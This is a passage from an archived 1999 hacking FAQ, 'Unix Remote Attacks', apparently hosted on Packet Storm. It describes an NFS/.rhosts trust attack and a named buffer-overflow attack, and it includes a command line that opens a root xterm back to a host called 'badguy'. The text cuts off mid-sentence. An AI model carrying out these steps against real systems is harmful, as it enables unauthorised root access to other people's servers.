Twenty Year Anniversary


Posted Aug 17, 1999


tags | paper
MD5 | 7b28b12645e0eb0fee038087aaff17d0


Change Mirror Download
<TITLE>The Hack FAQ: Unix Remote Attacks</TITLE>
<LINK REL="next" HREF="hackfaq-30.html">
<LINK REL="previous" HREF="hackfaq-28.html">
<LINK REL="contents" HREF="hackfaq.html#toc29">
<BODY BGCOLOR="black" VLINK="gray" TEXT="white" LINK="gray" HLINK="red">
<A HREF="hackfaq-30.html">Next</A>
<A HREF="hackfaq-28.html">Previous</A>
<A HREF="hackfaq.html#toc29">Contents</A>
<H2><A NAME="unixremoteattacks"></A> <A NAME="s29">29. Unix Remote Attacks</A></H2>

<P>This section deals with hacking Unix systems remotely.
<H2><A NAME="ss29.1">29.1 What are remote hacks?</A>

<P>A remote hack is when you attack the server you are not logged into. Usually this is done
from another server, although in some cases you can do it from a regular PC (depending on
the operating system).
<P>Guessing a user account and password (unless it is a guest account) on a remote system is
BARELY considered a "remote hack", so we'll not really cover that. We'll assume you don't
know an account name and password on the remote system.
<P>Remote hacks come in a couple of different flavors. Usually exploiting an existing service
running on the victim's server (which is misconfigured or allows too much access) is the
typical exploit. Exporting an NFS mount read/write to anyone might not be a bad thing, but
if you can NFS mount directories containing .rhosts files, then it can be a very bad thing.
Also, certain daemons running might be subject to buffer overflows remotely, allowing someone
from a remote location run arbitrary commands on the victim's server.
<P>Here are a couple of examples:
- You are root on a host named badguy.
- You discover the host victim is exporting /home2/old read/writable to the world.
- You also discover by fingering various accounts that user fred's home directory is
/home2/old/fred and he hasn't logged in for months.
- Quickly, you create a fred account on badguy.
- Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
- After you become fred on badguy, you rlogin to victim as fred.
<P>Here's another attack involving a buffer overflow:
- This remote system is running named.
- You have written a named exploit that allows you to send arbitrary commands through
the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
- You type: sploit "/usr/X11R6/bin/xterm -display badguy.whatever:0"
- A window appears on your terminal that is running as root on
<A HREF="hackfaq-30.html">Next</A>
<A HREF="hackfaq-28.html">Previous</A>
<A HREF="hackfaq.html#toc29">Contents</A>


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By